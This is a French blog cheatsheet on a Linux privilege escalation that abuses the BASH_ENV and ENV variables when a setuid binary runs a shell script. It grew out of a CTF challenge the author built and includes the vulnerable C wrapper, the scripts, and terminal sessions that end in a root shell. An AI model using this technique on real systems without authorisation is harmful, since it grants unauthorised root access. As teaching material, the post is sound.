keyboard_arrow_up

title: Forgotten Environment Variable
date: Jun 07, 2024
tags: cheatsheets redteam privesc


Introduction

Lors de la troisième édition de Hacky'Nov, je me suis rendu compte lors de la compétition qu'un challenge que j'avais préparé ne présentait que très peu de ressources pour être résolu.

C'est pourtant une privesc extrêmement simple à exploiter mais très peu documentée.

Plongeons dans les variables d'environnement fonctionnant en mode interactif et non interactif et regardons ce que ça veut VRAIMENT dire.

Scénario

Imaginons le code C suivant qui appel un script pour l'exécuter en tant que root :

#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

int main(void)
{
        setreuid(geteuid(), geteuid());
        system("./script.sh");
}

Voici le script appelé

#!/bin/bash

# Message for the user
/bin/whoami
/bin/echo "Checking the condition..."

# Condition that is always false
if [ 1 -eq 2 ]; then
    /bin/echo "This condition is true."
else
    /bin/echo "False..."
    exit
fi

# End of the script
echo "End of the script."

Ici on voit bien qu'il serait possible d'exploiter le dernier echo, mais impossible de bypass la condition.

BASH_ENV

En regardant dans le manuel de bash on voit cette information.

When Bash is started non-interactively, to run a shell script, for example, it looks for the variable BASH_ENV in the environment, expands its value if it appears there, and uses the expanded value as the name of a file to read and execute.

Le code équivalent est donc :

if [ -n "$BASH_ENV" ]; then . "$BASH_ENV"; fi

Si on suit cette logique il suffit de déclarer cette variable d'environnement pour exécuter n'importe quel script :

lololekik@srv441507:~/env$ ls -lisa vulnexec
272703 20 -rwsr-xr-x 1 root root 16720 Jun  7 07:32 vulnexec
lololekik@srv441507:~/env$ echo "/bin/bash" > exploit.sh 
lololekik@srv441507:~/env$ BASH_ENV=./exploit.sh ./vulnexec 
root@srv441507:~/env# whoami && id
root
uid=0(root) gid=1000(lololekik) groups=1000(lololekik),27(sudo),997(docker)
root@srv441507:~/env# exit
exit
root
Checking the condition...
False...

Le BASH_ENV sert donc à charger d'autres scripts avant l'exécution non interactive d'un script que l'on appelle.

Maintenant que l'on sait ça essayons d'aller plus loin.

Est-il possible d'exploiter BASH_ENV dans tous nos scripts ?

ENV

Prenons le même code C mais remplaçons notre bash par sh

#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

int main(void)
{
        setreuid(geteuid(), geteuid());
        system("/bin/sh /home/lololekik/env/script.sh");
}

Maintenant compilons ce code et essayons d'exploiter BASH_ENV avec un script sh.

lololekik@srv441507:~/env$ gcc exec.c -o exec && sudo chown root:root exec && sudo chmod u+s exec
[sudo] password for lololekik: 
lololekik@srv441507:~/env$ BASH_ENV=./exploit.sh ./exec 
root
Checking the condition...
False...
lololekik@srv441507:~/env$ 

Ici on peut voir que ça ne fonctionne pas. En effet si on regarde un peu plus loin dans la documentation de bash et dans la documentation de sh, on peut remarquer que l'alternative à BASH_ENV en sh est ENV.

Cependant si on essaie ça ne fonctionne pas.

lololekik@srv441507:~/env$ ENV=./exploit.sh ./exec 
root
Checking the condition...
False...
lololekik@srv441507:~/env$ 

Si on est plus attentif, on se rend compte qu'il y a une grande différence dans la documentation entre bash et sh.

When invoked as an interactive shell with the name sh, Bash looks for the variable ENV, expands its value if it is defined, and uses the expanded value as the name of a file to read and execute.

bash va exécuter BASH_ENV lorsqu'il est lancé en mode non interactif alors que sh va exécuter ENV uniquement en mode interactif

Ce script s'exécutant en mode non interactif ne peut donc pas être exploité avec sh.

Mais voyons dans quel cas il est possible d'exploiter la variable ENV dans un shell interactif.

Shell interactif vs non interactif

Avec les premières recherches que j'ai effectuées, je pensais qu'un shell pouvait "switcher" en mode interactif à partir du moment où une intervention humaine allait être requise pour terminer le script.

Je me suis donc empressé de faire le script suivant afin de chercher à l'exploiter :

#!/bin/sh

# Prompt for a password and compare its hash
check_password() {
  echo -n "Enter your password: "
  stty -echo
  read password
  stty echo
  echo

  # Compute the SHA-256 hash of the entered password
  password_hash=$(echo -n "$password" | sha256sum | awk '{print $1}')

  # Predefined hash to compare against (example: hash of "StrongP@ssw0rd!")
  PREDEFINED_HASH="6e30ecb751cedbafbb0c29ddac7d55cfe6a39c6e022db6ac13ad2658451e2b4b"

  # Compare the computed hash with the predefined hash
  if [ "$password_hash" = "$PREDEFINED_HASH" ]; then
    echo "Password is correct."
  else
    echo "Password is incorrect."
  fi
}

# Call the function to check the password
check_password

L'idée ici n'est pas de bypass la condition de mot de passe, mais bien d'appeler du code arbitraire avec ENV.

Pour ça on va essayer d'afficher un message avant l'exécution du script :

lololekik@srv441507:~/env$ echo "echo 'ENV File loaded : pwn :) '" > exploit.sh 
lololekik@srv441507:~/env$ chmod +x exploit.sh 
lololekik@srv441507:~/env$ ENV=./exploit.sh ./checkpassword.sh 
Enter your password: 
Password is incorrect.
lololekik@srv441507:~/env$ export ENV=./exploit.sh
lololekik@srv441507:~/env$ sh -c "./checkpassword.sh"
Enter your password: 
Password is incorrect.
lololekik@srv441507:~/env$ sh -c "whoami"
lololekik
lololekik@srv441507:~/env$ ENV=./exploit.sh sh checkpassword.sh 
Enter your password: 
Password is incorrect.
lololekik@srv441507:~/env$ 

Ici on voit que ça ne fonctionne pas même en changeant la façon d'appeler notre code.

C'est bien parce que nous n'appelons pas notre shell dans un mode interactif. Ce n'est pas parce qu'il y a une interaction avec l'utilisateur que notre shell sera "interactif".

Par contre si on précise l'option -i on rentrera dans un mode interactif.

lololekik@srv441507:~/env$ export ENV=./exploit.sh
lololekik@srv441507:~/env$ sh -i ./checkpassword.sh 
ENV File loaded : pwn :) 
$ $ $ $ > > > > > > > > > > > > > > > > > > > $ $ $ Enter your password: 
Password is incorrect.
$ 
lololekik@srv441507:~/env$ sh -ci "whoami"
ENV File loaded : pwn :) 
lololekik

Alors dans quelle condition l'exploiter la variable d'environnement ENV ?

La variable d'environnement ENV pourra être exploitée si des scripts sont appelés avec l'option -i en cli ou dans le shebang.

lololekik@srv441507:~/env$ head checkpassword.sh -n 1
#!/bin/sh -i
lololekik@srv441507:~/env$ ./checkpassword.sh 
ENV File loaded : pwn :) 
$ $ $ $ > > > > > > > > > > > > > > > > > > > $ $ $ Enter your password: 
Password is incorrect.
$ 

Le mode interactif ne fonctionne donc pas avec bash.

lololekik@srv441507:~/env$ ENV=./exploit.sh bash -i checkpassword.sh 
Enter your password: 
Password is incorrect.
lololekik@srv441507:~/env$ BASH_ENV=./exploit.sh bash -i checkpassword.sh 
Enter your password: 
Password is incorrect.
lololekik@srv441507:~/env$ BASH_ENV=./exploit.sh bash checkpassword.sh 
ENV File loaded : pwn :) 
Enter your password: 
Password is incorrect.
lololekik@srv441507:~/env$ 

Conclusion

Lors de la recherche de privesc il peut avoir des variables d'environnement qui peuvent être interessantes à exploiter.

Essayez toujours de vous demander dans quel mode se produit l'exécution d'un programme afin de voir si vous ne pouvez pas charger des scripts arbitraires.

A noter que cette attaque n'a de sens que si l'exécution d'un programme se fait avec des droits différents des votres.